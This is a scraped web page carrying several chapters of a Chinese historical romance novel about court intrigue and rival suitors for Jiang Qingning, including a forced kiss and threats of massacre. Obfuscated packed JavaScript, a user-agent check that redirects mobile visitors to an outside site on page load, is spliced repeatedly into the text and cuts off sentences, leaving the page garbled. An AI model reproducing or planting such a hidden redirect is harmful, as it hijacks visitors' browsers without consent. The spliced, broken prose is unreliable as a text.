;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005677|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的弧度加深了些许。 “承元,你这风风火火的性子,何时能改改?” 她语气带着亲昵的责备,眼神却并无多少恼意,声音倒是更温和了几分,“清宁丫头怕是让你吓着了,瞧瞧,茶都泼了。” 她朝侍立在姜清宁身侧微微颔首。 青黛立刻会意快步上前,对姜清宁柔声道:“姜姑娘,奴婢带您去偏殿整理一下衣裙可好?” “多谢。” 姜清宁这才发觉,衣裙不经意间被自己泼湿了。 “贵妃娘娘,臣女去去便回。” “好了,快去吧。”秦贵妃微笑颔首。 天水碧的裙裾掠过光洁的地砖,晕染在上面的深色茶渍格外显眼。 直到姜清宁的身影消失在侧殿的珠帘之后,秦休的目光才缓缓收回。 “现在满意了?” 秦贵妃的声音从上方传来,带着一丝调侃:“当着本宫的面就敢如此放肆,也不想想人家姑娘家脸皮薄不薄?” 秦休恭敬行礼:“臣失仪,请娘娘责罚,然臣之所以如此鲁莽,不过是担心之责。” 他抬起头,目光坦荡地迎向秦贵妃。 “阿姐既已召她入宫相询,想必也知她心中顾虑,无非是姜家除名,父兄岭南,自觉孤苦无依,恐连累于我,更惧门楣之论。” “然这些在臣眼中皆非障碍,更非她之过。” 秦贵妃凤目微挑:“哦?不是障碍?” “你可知朝堂之上多少双眼睛盯着我们秦家?如今林家倒了,皇后太子被废,前朝后宫谁不知道本宫是命定的皇后,可谁曾问过本宫当年愿不愿意入宫?” “娶一个被宗族除名,父兄仍在岭南戴罪效力的女子为正妻,父亲那里,宗族长老那里,还有那些等着看笑话寻把柄的人,你待如何?” “父亲与宗族,自有我去分说!” 秦休的回答斩钉截铁,没有半分犹豫。 “至于旁人?” “谁敢置喙?林家父子尸骨未寒,想必足够让一些人,学会把舌头收好!” 第一百三十六章我只怕你不要我 秦贵妃静静地看着这个从小乖巧长大,如今却已锋芒毕露,气势迫人的弟弟。 他眼中是认定便绝不回头的狠绝。 秦贵妃缓缓靠回柔软的狐裘引枕上,敛眸扶额轻叹,带着几分无奈还有几分释然。 “本宫那时候,要是有人能护着本宫就好了。” 秦休心口一疼,酸涩道:“阿姐,如果那时我长大些,能担得起秦国公府的重担就好了。” “你那是才十岁。”秦贵妃轻笑,“阿姐知道,阿姐就是有感而发,阿姐不怪你的,更不怪秦氏所有人。” “阿姐,您要熬到头了。” “罢了。”她摆了摆手,目光投向侧殿的方向,珠帘轻晃,隐约可见里面晃动的人影。 “凡是你心意已决的事情,九头牛也拉不回,本宫今日也算替你把话挑明了,剩下的路得你自己去走。” 她顿了顿,目光重新落回秦休脸上,带着一丝告诫: “这丫头心思重,心防更重,你今日这般不管不顾地闯进来,若是不管不顾地喊一嗓子,也能把她逼到墙角,烈火烧冰小心适得其反,如何让她心甘情愿地解开心结,才是你该费心思的地方,左右强扭的瓜不甜。” 秦休眼中的锋芒收敛几分,染上一丝沉郁的晦暗。 他当然知道她心防重如铁壁,更知道今日自己的举动,无异于暗中挑明两人关系的冲动之举。 他沉默地点了点头,声音低沉:“臣明白,谢阿姐成全。” 偏殿暖阁内,熏着清雅的鹅梨帐中香。 青黛手脚麻利地取来一套崭新的,同样素雅却用料上乘的月白色宫装衣裙,又端来温水巾帕。 “姜姑娘,您看这套可合心意?”青黛声音温和。 姜清宁接过温热的湿帕,擦拭着裙裾上的茶渍。 深色的水痕顽固地晕染开,怎么擦也擦不干净。 青黛见她神思不属,便体贴地接过帕子,蹲下身亲自替她擦拭,一边温言道: “姑娘莫慌,世子爷的性子向来如此,对娘娘也是这般直来直往的,并非有意唐突姑娘,世子爷待姑娘的心意,阖宫上下连我们这些做奴婢的都瞧得真真儿的。” “您是没见着,外头雨那么大,世子爷刚才冲进来那会儿,袍子下摆都湿透了,想是得了娘娘传召,马不停蹄就赶来了,连衣裳都顾不上换……” 心口某个地方,被这认知狠狠撞了一下,紧接着便是无休止的恐慌。 前不久刚下定的心,如今反倒是不愿面对了。 她孑然一身,如何敢承他这般的炽热? “姑娘,好了。”青黛的声音唤回了她的神思。 裙裾上的茶渍已被尽力处理过,依旧留下了淡淡的痕迹。 她替姜清宁换上月白的宫装,素净的颜色更衬得她肌肤胜雪,眉眼间那份清冷疏离,此刻却染上了一层薄薄的愁绪,如同雨后初荷,惹人怜惜。 “娘娘和世子爷还在正殿等着姑娘呢。”青黛轻声提醒。 姜清宁深吸一口气,强迫自己将翻腾的心绪压下。 镜中的女子眼神依旧清冷,只是眼尾微微泛着一点不易察觉的红 正殿里,气氛已然不同。 秦贵妃已移步到一张铺着锦绣桌围的紫檀圆桌旁,桌上摆了几碟精致的点心。 秦休则站在离桌子几步远的地方,背对着殿门方向负手而立,望着窗外阴沉的雨幕,在听到脚步声的时候回头循声望去。 四目相对。 他的目光灼热,在姜清宁脸上停顿片刻,而后匆忙移开,落在她新换的月白衣裙上。 秦贵妃的目光在两人之间流转,凤目含笑,带着了然。 她亲自执起玉壶,斟了两杯茶,琥珀色的茶汤在白玉杯中荡漾,清香四溢。 “清宁快坐下压压惊,承元你坐,杵在那里当门神干什?”她语气带着揶揄。 秦休依言走到桌边,却没有立刻坐下,目光依旧锁在姜清宁身上。 姜清宁垂下眼帘,避开他的视线,走到秦贵妃指定的位置坐下。 秦贵妃慢悠悠地开口:“这茶是今春江南新贡的雨前龙井,陛下赏了本宫一些,尝尝看。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013211|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜清宁端起茶杯浅浅啜饮,她能清晰地感觉到秦休的目光,带着一种滚烫的探寻。 那目光让她如坐针毡,心乱如麻。 殿角的鎏金珐琅自鸣钟发出规律的滴答声,每一次轻响都敲在姜清宁紧绷的神经上。 终于,秦贵妃打量沉默的两人之后,放下茶盏,带着一丝恰到好处的倦意。 “时辰也不早了,宫门快要下钥。” 她看向秦休,语气温和:“承元送清宁出宫吧,宁阁与秦国公府相邻,务必将她安全送到府上。” 秦休立刻起身,躬身应道:“是,娘娘。” 姜清宁如蒙大赦般站起身,屈膝行礼:“臣女告退,谢娘娘赐茶。” 秦贵妃微微颔首:“去吧,你们路上小心。” 两人一前一后,沉默地走出宫殿。 官道两侧的石灯在夜风中摇曳,投下明明灭灭的光影,青石板路在脚下延伸,寂静的只能听到两人衣袂摩擦的细微声响。 秦休高大的身影走在她斜前方半步,刻意放慢了脚步,与她保持着不远不近的距离。 沉默像一张无形的网,沉沉地笼罩着两人。 就在这时,秦休脚步忽然顿住。 姜清宁猝不及防,差点撞上他宽阔的后背,慌忙停住脚步,抬头看他。 秦休转过身,宫灯昏黄的光线勾勒出他棱角分明的侧脸轮廓,一半隐在阴影里,显得愈发深邃。 他低头,目光沉沉地落在她脸上,眼眸在夜色中更加幽深复杂,仿佛深处翻涌着沉寂的暗流。 “姜清宁,岭南的瘴气没能要我的命,京城的明枪暗箭也杀不死我。” 姜清宁疑惑地抬眸,不懂他在说什么。 他向前逼近一步,高大的身影带来的压迫感,让她不由自主地后退半步,脊背几乎要贴上冰冷的宫墙。 “姜清宁,我都不怕,你在怕什么?” “我没在怕……”姜清宁后退一步,背脊贴在墙上。 他的声音压得更低,带着一种斩断所有退路的决绝:“姜清宁,我只怕你……不要我。” 第一百三十七章镇北王世子贺宁 姜清宁下意识地转身朝着宫门方向走去,手中那柄素面油纸伞却被一股不容抗拒的力道撞落,跌在湿冷的石板上,溅起细小的水花。 她惊愕抬眼,瞬间撞入秦休深邃如寒潭的眼眸里。 他手中撑着一柄玄色大伞,伞面宽阔,不容分说地将她头顶那片冰冷的雨幕彻底隔绝。 “你……”姜清宁刚吐出一个字,脚步下意识地后退,脊背却猛地抵上了冰冷的宫墙。 秦休紧跟着逼近一步。 高大的身躯将她牢牢困在伞下,和墙角的方寸之地。 “想逃?”他低沉的声音响起,在雨声和伞布的阻隔下,显得格外清晰,每一个字都仿佛敲打在姜清宁紧绷的神经上,“姜清宁,你以为说一句不敢高攀,就能当什么都没发生过?” 他看出了她的打算。 “秦大人请自重。”姜清宁声音清冷,“臣女已言明……” “言明什么?孑然一身?” 秦休打断她,嘴角勾起一抹讥诮,更多的却是压抑的怒火,“这些鬼话,骗骗你自己便罢了!” 他猛地俯身,强烈的侵略气息压下来,阴影瞬间将她完全覆盖,凛冽气息扑面而来。 姜清宁瞳孔骤缩,心几乎要从喉咙里跳出来,几乎是本能的抬手,猛地捂住他即将落下的唇。 掌心传来他唇瓣温热的触感,还有那灼热的呼吸喷在指缝间,带着一种令人战栗的麻痒。 她死死地抵着,指甲几乎要掐进他下颌的皮肤里。 秦休的动作顿住。 “秦休,你胆敢!”姜清宁冷声。 秦休眼底最后一丝克制彻底崩断。 他空着的左手猛地抓住她捂在自己唇上的手腕,力道大得惊人,姜清宁闷哼一声,双手被他一只大手轻易地攥住,反剪着摁在了宫墙上。 姜清宁的手腕被钳制住,动弹不得。 “秦休!你疯……”她的惊呼被彻底堵了回去。 秦休另一只撑着伞的手纹丝不动,稳稳地隔绝了外界的风雨。 他低下头,狠狠地吻住姜清宁因惊怒而微张的唇。 不是温存,不是试探。 是一个充满掠夺、宣告和惩罚意味的吻。 滚烫的唇舌带着不容置疑的力道撬开她的齿关,攻城略地,蛮横地汲取着她唇齿间所有的气息,也吞噬了她所有未出口的斥责和抗拒。 他带着不容置疑的强势感,瞬间席卷了她所有的感官。 姜清宁脑中一片空白,只有唇上传来的滚烫,霸道和那令人窒息的掠夺感无比清晰。 她拼命地扭动着头颅想要挣脱,双手在他铁钳般的大掌下徒劳地挣扎,却如同蚍蜉撼树。 恐慌在胸腔里疯狂冲撞,逼得她眼眶发热。 雨点敲打着伞面,发出沉闷的噼啪声,像是为这场无声的征服擂鼓。 时间仿佛被拉长,每一瞬都无比煎熬。 不知过了多久,姜清宁几乎要窒息,挣扎的力气也渐渐耗尽,秦休才缓缓抬起头松开她,结束了这个漫长而霸道的吻。 他微微喘息着,胸膛起伏,灼热的气息喷在她的额发上。 那双深邃的眼眸此刻亮得惊人,而炽热未退,里面翻涌着更深的欲望和一种近乎偏执的笃定。 他依旧牢牢地攥着她的双手,将她禁锢在墙壁与胸膛之间,伞下的空间充斥着暧昧气息。 他低头,额头抵着她的,目光锁住她水光潋滟的眼眸,沙哑的声音带着不容置喙: “姜清宁,你听清楚了。” “你只能嫁我。” “否则你嫁张家,我便屠张家;你嫁李家,我便戮李家;这满京城、满天下,你看中谁家,我便让他阖族上下,鸡犬不留!” 姜清宁猛地抬起被泪水模糊的眼睛,那里面除了愤怒,更添了一层难以置信的惊悸。 她红着眼眶脱口而出,带着玉石俱焚般的挑衅: “如果我说,我要嫁给这当朝的天子呢?” 话音落下的瞬间,伞下的空气仿佛凝固。 秦休眼眸猛地一沉。 他攥着她手腕的力道骤然收紧,姜清宁心悸地倒抽一口冷气,却倔强地迎视着他眼中骤然掀起的愤怒。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013212|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 时间仿佛停滞了一瞬。 紧接着,秦休的嘴角缓缓勾起一个疯狂的笑容。 他低下头,逼近她的耳畔,滚烫的气息灼烧着她的耳廓,声音低沉沙哑,清晰中带着无所畏惧的狂悖: “那我就是反了这天,又如何?” 他猛地抬起头,再次攫住她惊愕的视线,一字一句,掷地有声: “姜清宁,你只能是我的!” 疯了! 他一定是疯了! “秦休!”姜清宁的声音带着哭腔和难以置信的愤怒,“你这人好不讲道理!” “道理?”秦休冷笑一声,“我只要你,这就是我秦休的道理!” 两人在这狭小的伞下空间里,如同两只被逼到绝境的困兽,一个眼神疯狂偏执,一个泪眼**愤怒,激烈地对峙着。 就在这时。 “咳。” 一声极轻的咳嗽声,突兀地从不远处的雨幕中传来。 姜清宁和秦休同时一震,猛地循声望去。 宫道拐角处,一盏明亮的琉璃风灯被高高挑起,晕开一圈朦胧的光晕。 光晕下,一道颀长挺拔的玄色身影撑着一柄素面油纸伞,静静伫立在雨中。 那人身姿如松,气度沉凝,玄色锦袍的样式虽简洁,用料与做工却极显贵重。 他脸上没什么表情,俊朗的五官在灯影雨幕中显得有些模糊,唯有一双深邃的凤眼。透过雨丝平静地望向伞下纠缠的两人。 而更令人心惊的是,在此人身后半步,竟垂手侍立着一位身着深紫色太监服的宫人。 正是当今皇帝身边最得信任。权势煊赫的御前大总管王德顺王公公。 王公公脸上带着惯常的,令人捉摸不透的恭敬笑容,目光在伞下的秦休和姜清宁身上飞快地扫过,尤其在姜清宁微乱鬓发,红眼眶和被秦休紧攥的手腕上停留了一瞬,那笑容便更深了些,透着一股意味深长。 镇北王之子,贺宁,字无忧。 奉旨回京,今日刚由王德顺亲自引着入宫觐见,此刻正由王公公亲自送出宫门。 第一百三十八章请旨赐婚 贺宁目光平静,掠过秦休泛着毫不掩饰占有欲的眼眸,最终落在姜清宁那张苍白的脸上。 他面上无波无澜,但握着伞柄的手指,几不可察地微微收紧了一瞬。 雨丝沙沙,宫道上一时寂静得可怕,琉璃风灯在夜风中轻轻摇晃,投下明明灭灭的光影。 秦休攥着姜清宁手腕的力道下意识地松了几分,却并未完全放开,依旧以一种强硬的姿态将她半护在身后,迎向那两道审视的目光。 王德顺脸上的笑容越发深了,他微微躬身,声音尖细却带着恰到好处的恭敬: “哎哟,原来是秦世子和姜姑娘,这雨夜路滑,二位这是?” 他故意拖长了调子,目光在两人之间暧昧地打了个转,未尽之意昭然若揭。 贺宁没有说话,在姜清宁狼狈的脸上停留片刻,又转向秦休。 姜清宁用力甩开秦休终于松动的手,踉跄着弯腰捡起地上自己那柄被雨水浸湿的油纸伞,指尖冰冷颤抖,几乎握不住伞柄。 “王公公,贺世子。” 秦休言简意赅:“宫道湿滑,姜姑娘不慎跌落了伞,本官正欲相助。” “哦?相助?”王德顺脸上的笑容不变,“世子爷真是古道热肠。” 姜清宁只觉得那目光如同芒刺在背,她对着王德顺和贺宁的方向,匆匆屈膝行了一礼:“臣女告退。” 说完也不等回应,撑开自己那把湿漉漉的伞,几乎是逃也似的,快步朝着宫门的方向而去,单薄的身影迅速消失在迷蒙的雨幕中。 秦休的薄唇紧抿成直线,眼底翻涌着复杂的暗流,最终化为一片深沉的晦暗。 他收回目光,转向王德顺和贺宁,微微颔首,语气恢复了惯有的疏离与淡漠:“本官也告退。” 话音落下,他大步流星地朝着姜清宁消失的方向追去,很快融入雨夜。 宫道上,只剩下王德顺和贺宁。 王德顺望着两人消失的方向,脸上那意味深长的笑容终于缓缓收起,眼中精光闪烁,低声对身旁沉默的贺宁道:“世子爷您瞧见了?这位姜姑娘可真是位妙人,秦世子对她那真是情根深种,不惜冲冠一怒啊,当初在平王府那可是……” 贺宁望着空无一人的宫道尽头,雨幕重重,仿佛刚才的一切只是幻影。 许久,他才缓缓开口,声音低沉平稳,听不出任何波澜: “王公公,夜雨寒凉,还是早些回宫复命吧。” 他没有接王德顺的话茬,仿佛对刚才所见所闻毫无兴趣。 王德顺眼中精光一闪,随即又堆起那副恭敬的笑容:“世子爷说的是,老奴这就送您出宫门,请。” 他侧身让路,姿态放得极低。 贺宁微微颔首,撑着伞,迈开沉稳的步伐,朝着宫门走去。 翌日,金銮殿。 文武百官肃立,鸦雀无声。 龙椅之上,身着明黄龙袍的皇帝面沉似水,目光扫过下首跪地听封的新贵。 “……镇北王世子贺宁,忠勇可嘉,着授正三品按察司使,望卿勤勉王事,不负朕望,钦此!” “臣贺宁领旨谢恩,吾皇万岁万岁万万岁!”贺宁的声音清朗沉稳,不卑不亢。 他一身崭新的三品孔雀补服,更衬得身姿挺拔,他起身目光平静地掠过御阶下百官各异的神色。 皇帝看着阶下这年轻而沉稳的将门之后,眼中闪过一丝满意。 镇北王手握重兵,镇守北疆,乃国之柱石。 如今其子入京授以要职,既是对镇北王的安抚与信任,亦是制衡某些勋贵的一枚妙棋。 尤其昨夜王德顺回禀宫道所见,更让他觉得这步棋走得及时。 然而,就在众臣以为封赏已毕,即将山呼万岁时,贺宁却并未退回班列。 他再次躬身,朗声道:“陛下,臣尚有一请,望陛下恩准。” 皇帝微微挑眉:“哦?贺爱卿还有何请?但说无妨。” 贺宁抬起头,目光坦荡地迎向御座,声音清晰而坚定, “臣贺宁,恳请陛下赐婚。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018523|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“臣愿聘镇守岭南之姜柏川将军嫡长女姜清宁为妻,望陛下成全!” 此话一出。 满朝文武,无论是勋贵还是清流,无不面露惊愕,交头接耳,嗡嗡的议论声瞬间淹没了大殿。 无数道目光如同利箭,齐刷刷地射向站在文官班列前端的秦休,以及殿中躬身请旨的贺宁,还有后方脸色青白交加的荀臣身上。 “姜清宁?那个被姜家除名、父兄远在岭南戴罪效力、前几日才传出与秦国公世子秦休在宫中纠缠不清的孤女?” “镇北王世子,新晋的正三品按察使司,前途无量,竟在第一次正式面圣的朝堂之上,当众求娶这样一个女子为正妻?” “疯了!简直疯了!” 皇帝脸上的满意之色瞬间凝固,取而代之的是一抹难以置信。 他下意识地看向秦休。 秦休的脸色在贺宁话音落下的瞬间阴沉不已,他抬步就要出列。 “陛下!臣有异议!万万不可!” 一个急促的声音抢在秦休之前,猛地从文官班列中响起。 众人愕然望去,只见正四品佥都御史荀臣面色涨红,额角青筋跳动,已然大步出列跪倒在地: “陛下,贺世子此言差矣,那姜氏清宁实乃不堪为世子良配,臣当年一时糊涂娶其为妻,然其性情乖戾,不敬婆母,心胸狭隘,善妒成性,臣忍无可忍方与之和离,此等弃妇岂能配得上贺世子门楣?” 在看到贺宁竟然也觊觎姜清宁的那一刻,一种我得不到你也别想得到的卑劣快感彻底冲昏他的头脑。 他不能让她攀上贺宁这棵比秦休也不遑多让的高枝。 荀臣的话令满朝哗然,无数道目光瞬间变得无比鄙夷,齐刷刷地聚焦在荀臣身上,又扫向贺宁和脸色铁青的秦休。 荀臣声音深沉:“此女早已非完璧之身,她为臣诞育过嫡长子荀莫离,生育之实不可抹杀,贺世子年轻有为,身份贵重,岂能娶此等失贞弃子之妇为正妻,这简直是辱没门楣,有损朝廷体面!” 第一百三十九章滚 贺宁从胸腔中发出一声嗤笑,带极了嘲讽:“荀御史此言,恕贺某不敢苟同。” 此话一出,所有人的目光瞬间聚焦到贺宁的身上,纷纷震惊他竟然会为了一个女子,公然和皇帝信赖的安平伯争吵。 是了,荀臣虽然只是正四品的京官,可身上还挂着安平伯的伯爵位,还比贺宁年岁大差不多十岁,到底是新人需要谨慎一些。 可他们转而一想,贺宁是谁? 那是镇北王贺赢宠爱无边的独子,那是幼时连皇帝的胡子都敢扯断的贵人。 荀臣? 一个半路出家,会治水赈灾的文臣罢了,到底只是平民出身,祖上不过是三代为进士罢了。 贺宁微微侧身,面向跪在地上的荀臣,神色平静无波,仿佛在陈述一件再寻常不过的事情: “姜姑娘与荀御史和离乃是陈年旧事,个中是非曲直,非外人所能置喙,荀御史作为前夫吃足了其中的好处,哪有转过头来败坏女子名节的?” 这算是指着荀臣的鼻子,骂他狼心狗肺,忘恩负义了。 皇帝坐在龙椅之上,望着荀臣的目光陡然变得深沉,这人是当年的参与者之一,为了功臣能毫不犹豫地抛弃对荀家百般扶持的岳丈,转过头来将其置于死地。 难免……他如今不会再次生出反叛之心啊。 “然贺某听闻,姜姑娘自和离后,凭己身之力经营商贾,所制胭脂水粉香药深得京中贵妇淑女赞誉,其品性能力可见一斑,此等女子何来不堪之说?” 他顿了顿,目光坦然地扫过殿内神色各异的群臣,声音清晰而坚定: “至于姜姑娘曾生育一事,贺某其实……并不在意,女子生而为人,不是注定要在后宅之中相夫教子的,我的母妃镇北王妃二十多年来手握**,是至今都能上战场杀敌的女中豪杰。” 殿内再次哗然,连龙椅上的皇帝都露出了惊愕之色。 不愧是贺家啊…… 荀臣更是猛地抬起头,难以置信地看着贺宁,仿佛在看一个怪物。 贺宁却仿佛没看到众人的震惊,继续平静地说道: “贺某今年二十,姜姑娘年长贺某四岁,贺某以为女子阅历丰富,更知情理,懂得持家。” “至于生育,贺某常年在北疆军中,深知生命之可贵,亦知女子生育之苦楚艰难,姜姑娘曾为人母,其坚韧慈爱之心,贺某敬佩。” “此乃过往经历无损其品性高洁,更非其过错,贺某心悦于她,愿以正妻之位迎娶,此心此志,天地可鉴。” 他的一番话,掷地有声,坦荡真诚,面上温和的笑意都让人忘记他笑里藏刀,刀刀割人心的阎王性子。 并不在意四字,炸得满朝文武目瞪口呆。 这贺宁……竟如此离经叛道? 荀臣被这完全不按常理出牌的回答噎得面红耳赤,一时竟不知如何反驳,只能梗着脖子强辩: “贺大人这是被那狐媚子迷了心窍,她性情乖张,不敬尊长,若嫁入王府,如何侍奉婆母,如何执掌中馈?” “姜清宁入我荀家八年,从未孝敬婆母,用心教养过孩子,更是从未对我温柔妥帖过,贺大人若是一意孤行只会悔之晚矣!” 贺宁安静地听完荀臣的话,嘴角竟几不可察地向上弯了一下: “荀御史多虑了,家父镇守北疆常年戍边,家母镇北王妃亦随父王居于北疆王府,母妃性情豁达爽朗,曾对臣言道,只盼臣早日觅得心仪之人成家立室。” “至于儿媳性情如何,只要品性端方,与臣心意相通,能相互扶持,便是佳妇,王府中馈自有规矩章法,母妃亦非拘泥刻板之人。” 他的目光再次转向御座上的皇帝,深深一揖: “陛下,臣心已决,求娶姜氏清宁非一时冲动,实乃深思熟虑,姜将军镇守岭南,劳苦功高,其女品性端淑,坚韧聪慧,与臣堪称良配,恳请陛下玉成!” 一番话,有理有据,滴水不漏。 既化解荀臣泼来的所有脏水,又表明自己的坚定心意,更将姜柏川的功绩抬了出来,隐隐暗示皇帝需顾念边将之心。 满朝文武,一时竟被这新晋按察使司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018524|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的沉稳气度,与惊世骇俗的言论震得鸦雀无声。 荀臣跪在地上,脸色一阵红一阵白,张着嘴,却再也吐不出一个字来。 他所有言语,在贺宁的坦荡面前,都显得卑劣可笑,如同跳梁小丑。 整个金銮殿,陷入一种诡异的寂静。 龙椅之上,皇帝的脸色变幻不定。 他看看跪在地上狼狈不堪的荀臣,又看看殿中意志坚定的贺宁,最后目光沉沉地落在脸色晦暗不明的秦休身上。 这盘棋…似乎越来越有意思了。 他缓缓开口,声音带着威严和玩味:“贺爱卿所求事关重大,但姜氏女身份着实特殊,此事容朕再思量思量。” 散朝的钟声敲响,百官如同潮水般涌出殿门,低声的议论嗡嗡作响,目光或明或暗地在前面几道身影上扫过。 秦休脚步极快,绯色的官袍下摆带起一阵冷风,他脸色沉郁,薄唇紧抿,周身散发着生人勿近的寒气。 “秦大人请留步!”一个急切中带着讨好意味的声音自身后追来。 秦休脚步猛地顿住,侧过半边脸,冰冷的眼神骇人至极。 追上来的是吏部郎中,平日里惯会钻营。 他此刻搓着手,脸上堆着谄媚的笑:“秦大人息怒,息怒啊,那贺宁不过是个边关回来的莽夫,仗着父荫才得此高位,竟敢如此不知天高地厚!” “还有那荀臣,什么东西,也敢在朝堂之上狂吠,秦大人您……” “滚。” 秦休冷声呵斥,眼神中的杀意弥漫。 郎中脸上的血色瞬间褪尽,嘴唇哆嗦着,一个字也不敢再说,灰溜溜地躬身退到了一边。 秦休不再理会,继续大步向前。 然而,没走几步,又一道身影拦在前方。 荀臣看着眼前的秦休,竟强自挤出一丝扭曲的笑容上前: “秦大人看到了,姜氏就是个水性杨花、不知廉耻的祸水,先是勾搭秦大人,现在又攀上了贺宁,如此朝秦暮楚着实不堪为秦大人良配,不如你我联手……” 第一百四十章在意之人太多了 他话音未落,秦休猛地转头盯着他,深不见底的眼眸翻涌着骇人的阴沉。 荀臣被这眼神看得浑身一震,后面的话硬生生卡在了喉咙里,一股寒意从脚底板直窜头顶。 “荀御史,”秦休的声音冰冷刺骨,“管好你的嘴,再让我听到你诋毁她一个字……” 他倾身逼近荀臣,用只有两人能听到的声音,冷声道,“我不介意让你去乱葬岗,陪陪林家父子。” 荀臣的脸瞬间惨白如纸,瞳孔骤然紧缩。 前几日还煊赫无比,转眼间就身首异处的父子,荀臣比任何人都要更加明白其中的恐怖。 然而让他最为惊惧的不是这个。 此时脑海中有一个念头正在疯狂弥漫,难不成秦休他都知道了? 他是在警告自己? 还是在威胁自己? 一股灭顶的恐惧瞬间让荀臣双腿一软,差点当场瘫倒在地,若是姜清宁知晓当**情,他可就半分没了机会…… 姜清宁会恨他一辈子。 “微臣不知道秦大人在说什么,微臣府中还有要事,先行告退,秦大人慢走。” 话音落下,荀臣转身便走,不过几息之间便没了踪影。 秦休看也没看他的身影一眼,径直向前走着,但周身散发的寒意却比之前更盛。 “秦大人。”身后传来一声含笑的低唤。 秦休一顿,直接转过了身,冷冷的看着笑意盈盈的贺宁。 贺宁挥手让身后的王公公离开:“公公不必送了,我幼时与承元相熟,今日恰巧想与他聚一聚,昨日面见陛下都没有和承元好好聊一聊。” “你说是吧,承元?” 秦休冷漠地看着他,薄唇动了动:“你若是只会说这些话,那我们之间更可以当做是老死不相往来,亦或是政敌。” 话音落下,他转身就走。 贺宁摊手,和王公公道了声再见,朝着秦休的身影大步追去,他身高腿长加上年轻气盛,几步就追上了秦休。 只是秦休对他的嫌恶,是怎么都掩饰不住的。 周遭的官员面面相觑,似乎是不理解贺宁这又是做哪一出。 王公公看着两人前后消失在宫门的背影,眼中的了然却是诸多。 如今贺宁回京述职第一件事,便是与秦休争抢看上的女人,无形之中所有人都清楚了,这两人绝对是政敌关系。 并且皇帝会坐收渔翁之利。 而秦休方才更是挑明了,不介意和贺宁昨政敌,反倒是让王公公在意料之中。 秦休从小没受过委屈,天之骄子仿佛就是为这个人而生的,十四岁便能上阵杀敌,如今十年过去更是炽手可热,背后是秦国公府和秦贵妃,四皇子陆雍,自身官居正三品大理寺卿的要职。 皇帝原本想为他升一升职位,却因为林崇满门交代了而戛然而止。 如今姜清宁之事,没准还是他秦休人生中,真正意义上的第一次受挫。 “秦休,你这是在怪我?”贺宁语含笑意,懒洋洋地跟在秦休身边。 “你回来要做什么?”秦休沉声问。 “看不出来吗?当然是做你的敌人,你想要什么我便抢什么,你在意的我都要得到。” 贺宁低笑一声,对着秦休眨了眨眼,其中的危险意味不言而喻。 秦休安静地注视着他,良久之后,没由来的轻笑一声:“抢?贺宁,你能跟我抢走什么?” “我的东西,到死都是我的,我的人,死也要与我同穴,你?**都没长齐的存在,我劝你莫要做无知之事。” 贺宁站在原地,负手而立。 良久,他对着秦休即将消失在宫门的背影喊道:“秦休,那就等着瞧,不出三日,姜清宁必是我贺家妇。” 肉眼可见的,秦休的背脊一顿,但是并未回头去看。 走出宫门,青之立刻迎了上来,低声道:“大人,姜姑娘昨夜回府后就把自己关在房里,摔了一套茶具。” 他顿了顿,声音更低,“动静不小。” 秦休闭上眼,深深吸了一口气。 她那样清冷自持的人,是觉得被他冒犯之后,而羞愤还是**? “备马,去姜府!” 秦休猛地睁开眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 